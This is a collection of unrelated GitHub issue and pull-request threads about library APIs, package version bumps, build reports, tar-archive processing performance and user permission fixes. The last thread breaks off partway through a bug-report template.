why is Machine just a function, not a constructor?

Question
Description:
Is there any particular reason Machine is not a constructor? The fact that it's capitalized but not actually a constructor means that I have to work around lint rules and style guidelines and litter my code with eslint comments to use it with the rest of my code or else turn off the useful lint warnings.
import { Machine, interpret } from 'xstate';

// eslint-disable-next-line new-cap
const machine = Machine({...});

If it's just a personal preference that you want to be different than 99% of JS code that's totally fine but I thought I'd ask if maybe there was some more concrete reason like maybe this is ES8 style or something new I'm not aware of.
Thanks

Nothing's stopping you from having const machine = new Machine(...); it'll work.
It's just a convention that Machine(...) returns a machine object that is "static" - it never changes its internal state.
However, I can/will add createMachine as an alias to the API:
import { createMachine } from 'xstate';

const machine = createMachine(...);

Better?

createMachine is much better 👍

The createMachine function is now in xstate@next.


breakpoints are not hit reliably

I'm submitting a ...
question about how to use this project

Summary
VSCode:
version: 1.34.0
OS: Mac

breakpoints are not hit reliably
We can remove
"runtimeArgs": ["--nolazy"]

in launch.json.
The doc at:
https://code.visualstudio.com/updates/vJanuary#_nolazy-option-not-automatically-added

Record


Updated Facebook Ads SDK to 17.0.2

Summary
Updated Facebook Ads SDK to 17.0.2
No changes on the source tap code where made to support this version
Also checked on a local Mage run with the updated SDK version and no bugs/issues where detected
Because of that, i'm simply updating the version on mage_integrations/requirements.txt
cc:
@mattppal

Sorry I missed this! @Luishfs Should be good to merge and let the user know!


[FIX] Broken installation script

This PR fixes #929.

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.

we should probably do the opposite of this and set the branch to 3.0 explictly

Well, then you'll have to refactor the rest of bootstrap.sh, because .vim/bundle/command-t does not exist in 3.0.

Closing as not going to be implemented.


chore: delete owlbot.py

Now that googleapis/synthtool#1244 is merged, owlbot.py is no longer required in this repo. We can add owlbot.py back in the future if repository specific customizations are needed.

This repo has a slightly different owlbot.py due to the custom_samples_dockerfile parameter here.
https://github.com/googleapis/python-recaptcha-enterprise/blob/main/owlbot.py#L42

Wait for https://github.com/googleapis/synthtool/pull/1277

googleapis/synthtool#1277 was merged

This is ready for review


Is it possible to validate individual fields one by one instead of validate them all together

Prerequisites

[X ] I have read the documentation;
[X ] In the case of a bug report, I understand that providing a SSCCE example is tremendously useful to the maintainers.

Description
If set liveValidate=true, then the whole form ( or many fields) will turn red at same time due to validation error. Our customer complained this is very annoying.
Expected behavior
Ideally, the form will validate field by field, when user types/changes value of a field, only that field will get validated, and turn red etc. and when submit form, then validate the whole form data.
Is this possible with react jsonschema form?

See #512 for discussion


Docker: Use a smaller runtime image and publish as trimmed SingleFile

Instead of using a full .NET runtime to run the Textrude app, use a smaller image, which only contains the runtime dependencies for .NET apps compiled for a specific runtime
Decreases the image size (from dev_old to dev):
> docker image ls textrude
REPOSITORY   TAG       IMAGE ID       CREATED         SIZE
textrude     dev_old   5e16cbecc7cf   2 minutes ago   189MB
textrude     dev       733be3734be0   8 minutes ago   43.2MB

Super - thank you! Really appreciate your work on this :-)

Super - thank you! Really appreciate your work on this :-)


[Feature] SpinButton

How to promote this component
Please give a thumbs up reaction to this post to promote this backlog item. You may also share your usage scenario in the comments.
Component description
A spin button (SpinButton) allows someone to incrementally adjust a value in small steps. It’s mainly used for numeric values, but other values are supported too.

Fluent UI documentation

https://github.com/microsoft/powercat-code-components/tree/main/SpinButton


Suggestions for improvement / type fixes

Hello team youtube party dj,
Great app idea and implementation!
Sorry for the inconveniences you had with UIX :)
There were some problems with reactive array sorting that should now be more or less fixed in the latest DATEX/UIX release.
Liking a video sometimes still leads to an infinite loop of list re-rendering. This is probably still a bug on the UIX side - we will investigate this further an get back to you.
In this PR, I mostly added some type fixes. Now there should be less TypeScript errors in your project :)
For typing pointers correctly, you should always use the generic argument like this:
const searchResults = $$<Item[]>([]);

or
const searchResults = $$([] as Item[]);

Then you don't longer need the ts-ignore statements for things like items.$.map
It is also better to pass normal (reactive) objects to a component (item={item}) and not the reactive property helper object (item={item.$}).
In your <QueueItem> component, you fetched the current user again for each component instantiation (const userId = (await getUserId()).userId;). This can be optimized by only calling it once in the module root scope to prevent unnecessary remote function calls each time the list is updated.

interesting how you got it to work without all the .val things put randomly in there, I never got that to work without, even though it didn't really make sense to me, is that because we passed in the reactive property helper item={item.$}?
anyway, thanks for taking a look and also fixing some of our typescript mess :)

Yup, when using item.$, all the properties are Ref objects and you need to cancel out the $ to get the a actual value by using .val, so item.$.xyz.val is essentially the same as item.xyz.
When you need reactive UI, you can still use {item.$.xyz} in your JSX.


C++26 inplace_vector

Channel
C++Weekly
Topics
<inplace_vector> has just been accepted for C++26!

What is it?

"A dynamically-resizable vector with fixed capacity and embedded storage"

Why is it useful (generally)?

Embedded
Avoiding allocation
Non-default constructible objects (vs. std::array)

What does it replace?

std::array + "size"
Returning variable length results from functions, without having to allocate

Available implementations?

Reference implementation provided by paper godbolt.
Until added to compilers, available as boost::container::static_vector.
Potentially expand to cover other containers available in boost::container such as small_vector?

Length
Bite-sized (5-10 minutes)

This is the kind of stuff one would wrongly assume C++ would take less than 40 years to implement. /hj


NuxtServerError after upgrading to latest Nuxt rc

On a Mac — Sierra 10.12.6 (16G29)
$ node -v
v6.11.2
$ npm -v
3.10.10

Following quickstart instructions:
$ vue init nuxt-community/nuxtent-template my-site
$ cd my-site
$ yarn

and subsequently upgrading to latest Nuxt (1.0.0-rc11)
$ yarn add<EMAIL_ADDRESS>
After succesful install, running npm run dev,
navigating through http://localhost:3000 to http://localhost:3000/hello-world works, but doesn't show any of the Markdown content in HelloWorld.comp.md.
On refresh of http://localhost:3000/hello-world, I get a 500 NuxtServerError
NuxtServerError
render function or template not defined in component: anonymous

Server console doesn't show any error.
Thoughts?

Seems broken from<EMAIL_ADDRESS>

same problem here with rc11, couldn't figure it out yet.

Yes, this is related to #34; the error is in regards to markdown components. Going to look into this now


Add ctr support for CPUMax and CPUShares

Adds CPU.Maximum and CPU.Shares support to the ctr
cmdline for testing
Signed-off-by: Justin Terry<EMAIL_ADDRESS>

spec.Linux.Resources.CPU section should not be set on GOOS=windows

Looks like the unit tests need to be updated too.

Well its kinda a lame test because it doesnt make sense to call WithWindowsCPU* when its LCOW, but either way those methods dont touch Linux so they shouldnt create that resource. I have broken apart setCPU and setResources to have a Windows variant. Lets see if I broke any other tests :)

@kevpar - Mind taking a look when you get some time. Thanks! Just a testing change really but it could be used by consumers of the oci package later. Works like a champ though


Android-Development-Java 2.1.6 Bottom NavigationView in Android

Description
Explain -

A brief about BottomNavigation

Domain
Android Dev (Java)
Type of Contribution
Documentation
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of this project.

/assign


Best way to achieve parallel processing of individual entries inside a tarball

My goal is to use separate threads to extract and process individual files from the tarball. Each thread will be doing some CPU intensive post-processing with the data being read from the file, hence the motivation to keep this multi-threaded. Given that individual TarReader instances are assumed to not be thread-safe, I took the approach of opening up separate TarReader instances, and then starting separate tasks for each EntryStream.
The approach seems to work, but performance rapidly becomes a concern for larger files. The logic I use of skipping entries which already have a Task queued up, is wasteful in that it starts from scratch each time, so later entries in the tarball take (by definition) longer to even start processing. For example, when SkipEntry() is called for larger (several tens of GiBs each) files, it looks like the stream is still read till the next entry, and that is painfully slow. This is despite setting a larger buffer size for the underlying FileStream and using an SSD for the source tarball:
 	System.Private.CoreLib.dll!Interop.Kernel32.ReadFile(System.Runtime.InteropServices.SafeHandle handle, byte* bytes, int numBytesToRead, out int numBytesRead, System.Threading.NativeOverlapped* overlapped)	Unknown
 	System.Private.CoreLib.dll!System.IO.Strategies.OSFileStreamStrategy.Read(System.Span<byte> buffer)	Unknown
 	System.Private.CoreLib.dll!System.IO.Strategies.BufferedFileStreamStrategy.ReadSpan(System.Span<byte> destination, System.ArraySegment<byte> arraySegment)	Unknown
 	System.Private.CoreLib.dll!System.IO.FileStream.Read(byte[] buffer, int offset, int count)	Unknown
 	SharpCompress.dll!SharpCompress.IO.RewindableStream.Read(byte[] buffer, int offset, int count)	Unknown
 	SharpCompress.dll!SharpCompress.Common.Tar.TarReadOnlySubStream.Read(byte[] buffer, int offset, int count)	Unknown
 	SharpCompress.dll!SharpCompress.Common.EntryStream.Read(byte[] buffer, int offset, int count)	Unknown
 	SharpCompress.dll!SharpCompress.Utility.Skip(System.IO.Stream source)	Unknown
 	SharpCompress.dll!SharpCompress.Common.EntryStream.SkipEntry()	Unknown

The whole sample is below. I would appreciate any advice on doing this in a more performant manner. For example, is there a way I can start reading from a later position in the stream, for subsequent executions of the outer loop? When opening the same tarball with 7-zip for example, it is very quick to extract entries which are much "later" in the file. So, I am hoping there is a more performant way to achieve my requirement using SharpCompress.
using SharpCompress.Readers.Tar;

TarReader GetTarReader(string sourceFile)
{
    var srcFs = new FileStream(sourceFile, FileMode.Open, FileAccess.Read, FileShare.Read, 100000000, true);
    return TarReader.Open(srcFs, new SharpCompress.Readers.ReaderOptions());
    return null;
}

var extractTasks = new Dictionary<string, Task>();

while (true)
{
    var wasTaskAdded = false;
    lock (extractTasks)
    {
        var reader = GetTarReader(@"c:\temp\very-large-tarball.tar");
        {
            while (reader.MoveToNextEntry())
            {
                if (!reader.Entry.IsDirectory)
                {
                    var entryStream = reader.OpenEntryStream();
                    {
                        string file = Path.GetFileName(reader.Entry.Key);
                        string folder = Path.GetDirectoryName(reader.Entry.Key);
                        string destdir = Path.GetTempPath();
                        string destinationFileName = Path.Combine(destdir, file);

                        if (extractTasks.ContainsKey(destinationFileName))
                        {
                            entryStream.SkipEntry();
                            entryStream.Dispose();
                            continue;
                        }

                        if (file.ToLower().EndsWith(".csv"))
                        {
                            Console.WriteLine($"Will process {destinationFileName}");
                            extractTasks.Add(destinationFileName, Task.Run(() => ProcessEntry(entryStream, destinationFileName)));
                            wasTaskAdded = true;
                            break;
                        }
                        else
                        {
                            entryStream.SkipEntry();
                            entryStream.Dispose();
                        }
                    }
                }
            }
        }
    }

    if (!wasTaskAdded) break;
}

var allTasks = extractTasks.Values.ToArray();
await Task.WhenAll(allTasks);

async Task ProcessEntry(Stream entryStream, string destinationFileName)
{
    // some CPU-intensive processing with the entryStream
}

If you use TarArchive (which you should because it's a file that can be randomly accessed?) then skip will be faster because the code should be using Seek to skip entries instead of reading bytes to the Null stream (Reader is forward only so we can't seek in that scenario).
If you use multiple TarArchives to process then you might be able to achive what you want.  Maybe also MemoryMapped file streams.

Thank you @adamhathcock for your precise suggestion. Using TarArchive worked like a charm, and only minimal changes were required to my code. For completeness, the refactored code is below.
using SharpCompress.Archives.Tar;

TarArchive GetTarArchive(string sourceFile)
{
    var srcFs = new FileStream(sourceFile, FileMode.Open, FileAccess.Read, FileShare.Read, 100000000, true);
    return TarArchive.Open(srcFs, new SharpCompress.Readers.ReaderOptions());
}

var extractTasks = new Dictionary<string, Task>();

while (true)
{
    var wasTaskAdded = false;
    lock (extractTasks)
    {
        var reader = GetTarArchive(@"c:\temp\very-large-tarball.tar");
        {
            foreach (var entry in reader.Entries)
            {
                if (!entry.IsDirectory)
                {
                    var entryStream = entry.OpenEntryStream();
                    {
                        string file = Path.GetFileName(entry.Key);
                        string folder = Path.GetDirectoryName(entry.Key);
                        string destdir = Path.GetTempPath();
                        string destinationFileName = Path.Combine(destdir, file);

                        if (extractTasks.ContainsKey(destinationFileName))
                        {
                            entryStream.Dispose();
                            continue;
                        }

                        if (file.ToLower().EndsWith(".csv"))
                        {
                            Console.WriteLine($"Will process {destinationFileName}");
                            extractTasks.Add(destinationFileName, Task.Run(() => ProcessEntry(entryStream, destinationFileName)));
                            wasTaskAdded = true;
                            break;
                        }
                        else
                        {
                            entryStream.Dispose();
                        }
                    }
                }
            }
        }
    }

    if (!wasTaskAdded) break;
}

var allTasks = extractTasks.Values.ToArray();
Task.WaitAll(allTasks);

async Task ProcessEntry(Stream entryStream, string destinationFileName)
{
    // nothing to do for this sample
}


turbo-geth: 2020.11.04 -> 2020.12.01

Automatic update generated by nixpkgs-update tools. This update was made based on information from https://github.com/ledgerwatch/turbo-geth/releases.
meta.description for turbo-geth is: "Ethereum node and geth fork focused on scalability and modularity"
meta.homepage for turbo-geth is: "https://github.com/ledgerwatch/turbo-geth/"
meta.changelog for turbo-geth is: ""
Updates performed

Golang update

To inspect upstream changes

Release on GitHub

Compare changes on GitHub

Impact

Checks done (click to expand)

built on NixOS

The tests defined in passthru.tests, if any, passed

0 of 0 passed binary check by having a zero exit code.

0 of 0 passed binary check by having the new version present in output.

directory tree listing: https://gist.github.com/a95d3f08251733cede6d580cd6526696

du listing: https://gist.github.com/e0418a6f857808158809efd25712127a

Rebuild report (if merged into master) (click to expand)

4 total rebuild path(s)

1 package rebuild(s)

1 x86_64-linux rebuild(s)
1 i686-linux rebuild(s)
1 x86_64-darwin rebuild(s)
1 aarch64-linux rebuild(s)

First fifty rebuilds by attrpath
turbo-geth

Instructions to test this update (click to expand)

Either download from Cachix:
nix-store -r /nix/store/p5yqr1rg7b7f4yyf5z4mrw6kdvngsbmc-turbo-geth-2020.12.01 \
  --option binary-caches 'https://cache.nixos.org/ https://nix-community.cachix.org/' \
  --option trusted-public-keys '
  nix-community.cachix.org-1:mB9FSh9qf2dCimDSUo8Zy7bkq5CX+/rkCWyvRCYg3Fs=
  cache.nixos.org-1:6NCHdD59X431o0gWypbMrAURkbJ16ZPMQFGspcDShjY=
  '

(The Cachix cache is only trusted for this store-path realization.)
For the Cachix download to work, your user must be in the trusted-users list or you can use sudo since root is effectively trusted.
Or, build yourself:
nix-build -A turbo-geth https://github.com/r-ryantm/nixpkgs/archive/c19d8107106273d747a5878abc6a64871d1fa482.tar.gz

After you've downloaded or built it, look at the files and if there are any, run the binaries:
ls -la /nix/store/p5yqr1rg7b7f4yyf5z4mrw6kdvngsbmc-turbo-geth-2020.12.01
ls -la /nix/store/p5yqr1rg7b7f4yyf5z4mrw6kdvngsbmc-turbo-geth-2020.12.01/bin

Pre-merge build results
We have automatically built all packages that will get rebuilt due to
this change.
This gives evidence on whether the upgrade will break dependent packages.
Note sometimes packages show up as failed to build independent of the
change, simply because they are already broken on the target branch.
Result of nixpkgs-review 1

1 package built:

turbo-geth

Maintainer pings
cc @xwvvvvwx @kalbasit for testing.

Result of nixpkgs-review pr 105950 run on x86_64-linux 1

1 package built:

turbo-geth


TestableObservable's messages has count without any observers

The following test fails:
[Test]
public void Should_Not_Emit__Unless_Subscribed_To()
{
   var testScheduler = new TestScheduler();
   var sequence = testScheduler.CreateColdObservable(OnNext(5, 1));

   sequence.Messages.Should().HaveCount(0, "as there is no subscription");
 }

One would expect it to pass as there isn't a subscription created to the Cold observable. The intellisense doc suggests that its notifications sent to observers, but we don't have any observers in this instance.

I'd think the documentation is either outdated or worder incorrectly as both hot and cold implementations simply returns the array of notifications you used in the create method.
sequence.Subscriptions however is properly zero length in your case.

@akarnokd is right. Closing.


chpter 5 ionic auto-hide causes error

In the example, following part of App.vue causes error.
source:
<ion-menu-toggle
auto-hide="false"
v-for="(p, i) in appPages"
:key="i"
error:
Type 'string' is not assignable to type 'boolean | undefined'.
It seems auto-hide has some problem of type mismatch, but not clear how to solve it.

It should be :auto-hide instead of auto-hide

It should be :auto-hide instead of auto-hide
It worked. Thank you.


Keyboard accessory view safe area support

Oh, you should set a reviewer and assignee (probably Ethan or myself for this lib).


panics cause shell to no longer echo input nor show commands

After panic noted in #1100 the shell no longer echos keyboard input nor shows the command that would be executed if [Enter] is pressed.
This occurred for me on Ubuntu 22.04 x86_64 in both Code and Terminal apps when running in Unity window manager.
Expectation is that the shell should not be affected after a program crash.
Screencast from 02-07-2023 12:42:37 PM.webm

Note to us: The challenge here is that terminal restoration is done by bubbletea. Which does perform cleanup on panics. But the panic is not observed by its goroutine.


docs: fix broken link for Azure OpenAI request access form

The link in the documentation for the Azure OpenAI access request form was broken, since it contained a mix of Markdown-style opening tag [ and HTML anchor-style closing tag </a>. I thought I'd send a quick PR with proposed fix.
Also, THANK YOU for the great documentation and invaluable work you do! 🙏👏
It really makes a difference and is highly appreciated.

@ChrisHMSFT
@aahill
@patrickfarley
@nitinme
@mrbullwinkle
@laujan
@eric-urban
@jboback
Can you review the proposed changes?
When the changes are ready for publication, add a #sign-off comment to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

#sign-off


FtRemoteTest.java:55-58: Fix FtRemote for empty response...

The puzzle 730-80b57821 from #730 has to be resolved:
https://github.com/yegor256/takes/blob/f355160ca04157276b88e7aac57aaceeb4a016c4/src/test/java/org/takes/http/FtRemoteTest.java#L55-L58
The puzzle was created by Izbassar Tolegen on 13-Feb-18.
Estimate: 30 minutes, role: IMP.
If you have any technical questions, don't ask me, submit new tickets instead. The task will be "done" when the problem is fixed and the text of the puzzle is removed from the source code. Here is more about PDD and about me.

@yegor256/z please, pay attention to this issue

Job #800 is now in scope, role is DEV

The job #800 assigned to @paulodamaso/z, here is why; the budget is 30 minutes, see §4; please, read §8 and §9; if the task is not clear, read this and this; there will be a monetary reward for this job

@yegor256 There is nothing wrong with FtRemote class; it is indeed returning an empty body. The problem is that RsPrint prints both head and body to the output string:
    public void print(final OutputStream output) throws IOException {
        this.printHead(output);
        this.printBody(output);
    }

So the aforementioned test will never be true, because
new JdkRequest(home)
                        .method("POST")
                        .body().set("returnsAnEmptyResponseBody").back()
                        .fetch()
                        .body()

from TkEmpty() will never return a empty String.
Is this he expected behavior of RsPrint or it should be fixed?

@yegor256 I need some definitions in this one, please take a look.

@yegor256 ping

@paulodamaso/z this job was assigned to you 5days ago. It will be taken away from you soon, unless you close it, see §8. Read this and this, please.

@0crat refuse due inactivity

@0crat refuse due inactivity (here)

@paulodamaso The user @paulodamaso/z resigned from #800, please stop working. Reason for job resignation: Order was cancelled

Tasks refusal is discouraged, see §6: -15 point(s) just awarded to @paulodamaso/z

The job #800 assigned to @paulodamaso/z, here is why; the budget is 30 minutes, see §4; please, read §8 and §9; if the task is not clear, read this and this; there will be a monetary reward for this job

@yegor256 please answer https://github.com/yegor256/takes/issues/800#issuecomment-418177938 so I can finish this task; I've already tried to refuse it, but 0crat assigned it back to me, so I need that you answer the question so I can move on resolving it.

@yegor256 ping

@yegor256 ping

@paulodamaso why asking me? It's not my puzzle. Just remove the puzzle, if you think it's wrong and call it a day. Otherwise, ask its author.

@yegor256 You're the ARC, so I thought that this kind of decision are your call. @t-izbassar please take a look to https://github.com/yegor256/takes/issues/800#issuecomment-418177938

@paulodamaso it will be my call if the author of the puzzle doesn't reply. In that case, refer to me. But it's better to just submit a PR with your own opinion/code. Again, like I said, if you don't like the task/puzzle, just remove it from the code.

@yegor256 thanks for the answer. @t-izbassar please take a look at this, comment https://github.com/yegor256/takes/issues/800#issuecomment-418177938

@0crat wait for https://github.com/yegor256/takes/issues/800#issuecomment-418177938 answer

@t-izbassar please take a look at this

@0crat wait for https://github.com/yegor256/takes/issues/800#issuecomment-418177938 answer (here)

@paulodamaso The impediment for #800 was registered successfully by @paulodamaso/z

@t-izbassar ping

@paulodamaso RsPrint is used exactly for printing head and body. I don't understand what you want to achieve. Not to print head?

@paulodamaso the problem is that when you use TkEmpty then you expect to receive empty body, but that's not the case. I think you are misunderstanding the client request from server response. The server response should be with empty body.

.body().set("returnsAnEmptyResponseBody").back()

This line set's clients request, not server's response.

@t-izbassar Yes, it set the request to be sent to TkEmpty(), I was meant that. TkEmpty indeed sends the correct body (""), but it is changed in RsPrint, and this makes that we will never ever have an empty body in this case because we have header and body being sent in this request.
I don't think that it would be a wise thing to change this behavior because this class is used in BkBase, which is used in a lot of other back-end classes. Besides that I don't think that this behavior is wrong: after all the HTTP response is a just one big String with header and body tied one to another, so our RsPrint implementation shouldn't be different.
So I've changed the test so it does not fails anymore.

@0crat wait for https://github.com/yegor256/takes/pull/855 merge

@0crat wait for https://github.com/yegor256/takes/pull/855 merge (here)

@paulodamaso Job #800 is already on hold

The architect of the project has changed; @yegor256/z is not at this role anymore; @paulodamaso/z is the architect now

@0crat refuse

@0crat refuse (here)

@paulodamaso The user @paulodamaso/z resigned from #800, please stop working. Reason for job resignation: Order was cancelled

Tasks refusal is discouraged, see §6: -15 point(s) just awarded to @paulodamaso/z

@victornoel/z this job was assigned to you 5days ago. It will be taken away from you soon, unless you close it, see §8. Read this and this, please.

@0crat wait for #868 to be reviewed and merged

@0crat wait for #868 to be reviewed and merged (here)

@victornoel The impediment for #800 was registered successfully by @victornoel/z

The puzzle 730-80b57821 has disappeared from the source code, that's why I closed this issue.

@0pdd the puzzle #869 is still not solved.

@elenavolokhova/z please review this job completed by @victornoel/z, as in §30; the job will be fully closed and all payments will be made when the quality review is completed

The job #800 is now out of scope

@0crat quality good

Order was finished, quality is "good": +35 point(s) just awarded to @victornoel/z

@0pdd the only puzzle #869 is solved here.


Added Javascript Selection Sort Algo

This PR is for issue #98

@avinash201199 can you please check this out.

pull request merged, now please close the issue, you can also contribute to other repo's-https://github.com/avinash201199/Hacktoberfest-Guide
Note- only 2 pr per day on a single repo is accepted.


"Too Many Requests"

Is there any info on how often you can request info?  I've been getting errors ending with "status":429,"statusText":"Too Many Requests".  I have it on the default 30min refresh time.

Sorry, I'm not aware of any. The biggest limitation is that the radio stops responding after some time that the vehicle is off. I'm not even sure what that is, but seems to be ~12-48hrs.


Branch off tis from 0.19.0 & cherry-pick tis project content

closes #674

Codecov Report
Attention: Patch coverage is 67.50000% with 13 lines in your changes are missing coverage. Please review.

Project coverage is 49.67%. Comparing base (e40b0ee) to head (aeb67b2).

Files
Patch %
Lines

src/publish/implement.rs
57.89%
8 Missing :warning:

src/publish.rs
76.19%
5 Missing :warning:

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##              tis     #696      +/-   ##
==========================================
+ Coverage   49.54%   49.67%   +0.13%
==========================================
  Files          29       29
  Lines        8296     8338      +42
==========================================
+ Hits         4110     4142      +32
- Misses       4186     4196      +10

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


add some test, collate and fix change panel issue

Pull Request Test Coverage Report for Build 264

1 of 1 (100.0%) changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage increased (+0.2%) to 62.347%

Totals

Change from base Build 263:
0.2%

Covered Lines:
2093

Relevant Lines:
3357

💛  - Coveralls


No cameras found

Hey there,
Just having some trouble with the tool - I've managed to get it working (I think..) in Docker, but now getting the following response:
docker run --volume /tmp:/downloads unifitoolbox/protect-archiver download --address <IP_ADDRESS> --username="redacted" --password="redacted" --use-subfolders --start="2021-08-31 07:00:00" --end="2021-08-31 17:00:00" /downloads
Getting camera list
Successfully authenticated as user redacted using a session cookie
Successfully retrieved data from https://<IP_ADDRESS>:443/proxy/protect/api/cameras
Cameras found:
0 files downloaded (0.0 b), 0 files skipped, 0 files failed, 0 files total
Details:
I'm using Docker on my M1 Macbook Air (fresh installation, never used Docker before). Unsure what to do from here.
I've also tried cloning the repo and running the python scripts manually, but it doesn't work when trying the following command in the directory: python3 protect_archiver
returns the following error<EMAIL_ADDRESS>can't find '__main__' module in '/Users/awhiskin/Downloads/unifi-protect-video-downloader-master/protect_archiver'
I note in a previous reply you were offering to write up further detail on these python scripts directly? I think i might prefer that if possible.

Hi there!
Are your cameras by any chance offline while you're trying to download files? There's a known bug where the API only returns cameras which are online at the time of running the tool, and therefore (until I can fix this) only video clips of online cameras are being downloaded.
If that's not the case and your cameras are online but you are still unable to download clips, let me know and I'll try to help.

@danielfernau hi, thanks for the response :) no, they're definitely online. Going to the URL directly in the browser definitely returns info about the cameras (https://<address>/proxy/protect/api/cameras)

Sorry for the delay :)
Alright, I see. That could also be a permissions issue. Your local user on the UDMP/UNVR needs to have "view" access to the Protect app; if you open that URL in your browser where you're logged in as an admin then you'll of course see the list. But that doesn't necessarily mean that the user account for the Downloader Tool has the necessary rights. Mine's set up as Limited Admin, UniFi Protect: View Only, all other apps: None. Please have a look at the user permissions and let me know if it – in case it's already configured correctly – still doesn't work.
Aside from that, and not sure if this is directly related to the camera list issue, but since you're using Docker on macOS you might also want to check if your download target directory is added to the shared folders in Docker settings. Otherwise files will end up "somewhere in the Docker VM" since Docker on macOS runs in some kind of additional virtualized environment (see also https://github.com/unifi-toolbox/unifi-protect-video-downloader/issues/63#issuecomment-921236693). Just something to keep in mind in case you can't find the files where you'd expect them to be after downloading them.

I think it was actually just an issue on my end - the user account I had created for this tool didn't have the correct permissions, I changed the UniFi Protect permissions to View Only and it now works and detects all of our cameras :)
I've been able to download footage, thanks a lot! Sorry to trouble you with such a silly issue.

No worries, thanks a lot for the update. Glad you were able to resolve the permissions issue. Happy downloading! :)


MDT WizardEditor

Can you post the EXE of the MDT WizardEditor that was posted on https://archive.codeplex.com/?p=mdtwizardeditor?

The MDT Wizard Editor is replaced by MDT Wizard Studio that is available here (with permissions from Niehaus to share it): https://github.com/DeploymentArtist/SWP1/tree/master/MDTWizardStudio
If you really need the Wizard Editor that was written for MDT 2010 (only), I can probably find it in my archives, but it doesn't work with any of the currently available MDT version. / Johan

I thought that might be the case but when I try and run that on Win7 (64bit) and Server 2012 R2, it just crashes...  Oh figured it out the files posted with are required didn't realize that thought they were example files.
Thanks, error code when you don't have them.
Fault bucket , type 0
Event Name: CLR20r3
Response: Not available
Cab Id: 0
Problem signature:
P1: mdtwizardstudio.exe
P2: <IP_ADDRESS>
P3: 50f558c7
P4: MDTWizardStudio
P5: <IP_ADDRESS>
P6: 50f558c7
P7: 4f
P8: 10
P9: System.IO.FileNotFoundException
P10:


Content Suggestion: embit bitcoin library

Link to Content: https://embit.rocks/#/
Briefly Describe Content: embit is a bitcoin library designed to run either with Python 3 on a PC or with MicroPython on embedded devices. For cryptography it uses libsecp256k1 library maintained by Bitcoin Core team for elliptic, and everything else is implemented in python.
Suggested Section: https://bitcoin-only.com/dev-tools

Stepan would be very happy to see his library added here - Specter DIY, Seedsigner & some others are using it already :)
Cheers, Moritz

Added.
Thank you


[BUG]CMS Components - the link added to the 'Images' block does not work

Describe the bug
The link added to the 'Images' block does not work on website.
How to reproduce
Initial conditions: the category 'Movies & Toys' is active
Steps to reproduce the behavior:

Go to 'Shopping experiences' from Shopware
Choose layout called 'Test Shop page'
Click 'Settings' icon
Click 'block' icon
Select block category 'Images'
Add any image block to the Layout
Click on the 'Element settings' icon on the added block
Add any picture
Put any link in the 'Link to' field
Click 'Done' button
Click 'Save' button in the upper right corner
Go to subcategory 'Movies & Toys' on our website
Click on the added picture and see error

Expected behavior
The link added to the 'Images' block works on website.  After clicking on the picture with the added link the user is redirected to the appropriate website.
Actual behavior
The link added to the 'Images' block does not work on the website.  After clicking on the picture with the added link nothing happens.
Screenshots
Link added to the image in Shopware Shopping Experience:

The same image on the website:

Devices (please complete the following information):
All devices

What needs to be done

only CmsElementImage.vue needs to be changed at first
some additional logic with URLs may be moved then to helpers but after consultations
all information will be found in content which is already passed to the component as a prop

Acceptance criteria

[ ] click works internally with nuxt-link component
[ ] external links are used, than  should be used
[ ] open tab/not open tab should be concidered
[ ] no link component if CMS content doesn't have it

rechecked, it is still an issue


Adding BlobClient.upload(InputStream) as new overload

resolves #25984

API change check
APIView has identified API level changes in this PR and created following API reviews.
azure-storage-blob


Does moco support call-back functionality?

When the client send a request , I don't want to response immediately. Instead, I want the mock server to call a 3rd party API and get the response from the 3rd party API. Then the mock server send a response to the client based on the response from the 3rd party API

Try event


jetbrains: 2023.1.4 -> 2023.2

Description of changes
jetbrains.phpstorm: 2023.1.4 -> 2023.2
jetbrains.rider: 2023.1.4 -> 2023.2
This also superseeds #246637 , because the plugins are already updated here.
Things done

Built on platform(s)

[x] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

[ ] For non-Linux: Is sandbox = true set in nix.conf? (See Nix manual)
[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
23.11 Release Notes (or backporting 23.05 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Result of nixpkgs-review pr 247219 run on x86_64-linux 1

2 packages built:

jetbrains.phpstorm
jetbrains.rider

Result of nixpkgs-review pr 247219 run on x86_64-linux 1

2 packages built:

jetbrains.phpstorm
jetbrains.rider

rider works now. Well spotted @raphaelr !

Tested rider, works well. Would be good to get this merged.

Works with all the IDEs I maintain. I tried the remote server functionality too and its good!

Looks like the hydra builds are failing with Output Limit Exceeded: https://hydra.nixos.org/build/134334527#tabs-summary

jetbrains.rider has an unfree license, so it won't be built by Hydra. The linked build is from 2021.

Ah, I understand. Still trying to get to grips with the ecosystem. Cool, guess its just the case of waiting for the merge, nothing more that we can do?


Bump dcos-mesos to include fix to MESOS-6052.

12:27 PM adam @avinash https://github.com/dcos/dcos/pull/676 is all green. Want to test it out and verify that your issue is fixed on an open cluster?
3:31 PM avinash @adam works :
http://<IP_ADDRESS>/#/network/virtual-networks/dcos/
3:32 PM Thanks !!

@cmaloney Ready for the next train! :steam_locomotive:

:ship: will put in next train


[BUG] mkdir(): File exists error

Prerequisites

[X] Checked if your Laravel Excel version is still supported: https://docs.laravel-excel.com/3.1/getting-started/support.html#supported-versions
[X] Able to reproduce the behaviour outside of your code, the problem is isolated to Laravel Excel.
[X] Checked that your issue isn't already filed.
[X] Checked if no PR was submitted that fixes this problem.
[X] Filled in the entire issue template

Versions

PHP version: 7.3.14
